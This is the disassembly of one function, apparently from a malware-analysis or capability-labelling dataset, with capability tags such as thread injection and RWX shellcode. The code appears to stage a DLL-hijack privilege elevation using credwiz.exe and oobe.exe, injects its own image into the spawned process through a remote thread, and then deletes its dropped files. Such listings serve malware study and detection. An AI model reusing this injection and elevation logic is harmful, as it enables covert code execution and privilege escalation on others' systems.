Function at 0x1400161b8
Capabilities:
Access pe header
Allocate or change rwx memory
Copy file
Create thread
Delete file
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
jmp 0x14002c440
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xdf8
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x37e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xe18]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0xd98], rax
lea rcx, [0x14006d19a]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov rax, qword [0x1400659f0]
mov qword [rbp + 0xa8], rax
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xe8], 0
lea rax, [0x1400654a0]
mov qword [rbp + 0x148], rax
lea rax, [0x140016514]
mov qword [rbp + 0x168], rax
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.14001616d
lea rdx, str.netutils.dll
lea rcx, [rbp + 0x190]
call fcn.1400165e1
mov r8d, dword [rbp + 0xdc8]
mov rdx, qword [rbp + 0xdc0]
lea rcx, [rbp + 0x190]
call fcn.140016ad7
test eax, eax
jne 0x14002c540
jmp 0x14002c931
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x5c0]
call fcn.14001616d
lea rdx, str.wbem_
lea rcx, [rbp + 0x5c0]
call fcn.1400165e1
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x190]
call fcn.1400168de
test eax, eax
jne 0x14002c58b
jmp 0x14002c931
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.14001616d
lea rdx, str.credwiz.exe
lea rcx, [rbp + 0x190]
call fcn.1400165e1
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x5c0]
call fcn.14001616d
lea rdx, str.oobe.exe
lea rcx, [rbp + 0x5c0]
call fcn.1400165e1
xor r8d, r8d
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x14002c609
jmp 0x14002c931
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.14001616d
lea rdx, str.wbem_
lea rcx, [rbp + 0x190]
call fcn.1400165e1
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x5c0]
call fcn.1400168de
test eax, eax
jne 0x14002c654
jmp 0x14002c931
mov edx, 0x240
mov rcx, qword [rbp + 0x148]
call fcn.140016c2b
mov rax, qword [rbp + 0x148]
lea rdx, str.runas
mov rcx, rax
call fcn.14001616d
lea rdx, str.oobe.exe
lea rcx, [rbp + 0x190]
call fcn.1400165e1
mov rax, qword [rbp + 0x148]
add rax, 0x14
mov r9d, 0x104
lea r8, [rbp + 0x190]
mov edx, 0x104
mov rcx, rax
call fcn.140016bd1
lea rdx, str.ShellExecuteExW
mov rax, qword [0x140065a08]
mov rcx, qword [rax + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x148]
mov qword [rcx + 0x220], rax
lea rdx, str.WaitForSingleObject
mov rax, qword [0x140065a08]
mov rcx, qword [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x148]
mov qword [rcx + 0x228], rax
lea rdx, str.CloseHandle
mov rax, qword [0x140065a08]
mov rcx, qword [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x148]
mov qword [rcx + 0x230], rax
lea rdx, str.RtlExitUserThread
mov rax, qword [0x140065a08]
mov rcx, qword [rax + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x148]
mov qword [rcx + 0x238], rax
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.14001616d
lea rdx, str.credwiz.exe
lea rcx, [rbp + 0x190]
call fcn.1400165e1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x190]
call fcn.140016a3c
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14002c79e
jmp 0x14002c931
mov rax, qword [rbp + 0xc8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x48], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x48]
xor r8d, r8d
lea rdx, [rbp + 0xe8]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jge 0x14002c7e8
mov eax, dword [rbp + 0x24]
mov dword [rbp + 4], eax
jmp 0x14002c931
cmp qword [rbp + 0xe8], 0
jne 0x14002c7fe
mov dword [rbp + 4], 0xc00000e5
jmp 0x14002c931
mov rax, qword [rbp + 0xc8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x48]
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jge 0x14002c845
mov eax, dword [rbp + 0x24]
mov dword [rbp + 4], eax
jmp 0x14002c931
mov rax, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x168]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0xe8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x148]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0xe8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov qword [rsp + 0x48], 0
lea rax, [rbp + 0x88]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x128]
mov qword [rsp + 0x38], rax
mov rax, qword [rbp + 0x108]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ntdll.dll_RtlCreateUserThread]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jge 0x14002c8f7
mov eax, dword [rbp + 0x24]
mov dword [rbp + 4], eax
jmp 0x14002c931
cmp qword [rbp + 0x88], 0
je 0x14002c927
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtClose]
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x14002c4ee
cmp qword [rbp + 0x68], 0
je 0x14002c94e
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.14001616d
lea rdx, str.netutils.dll
lea rcx, [rbp + 0x190]
call fcn.1400165e1
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.14001616d
lea rdx, str.oobe.exe
lea rcx, [rbp + 0x190]
call fcn.1400165e1
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14004b8a8]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0xd98]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0xda8]
pop rdi
pop rbp
ret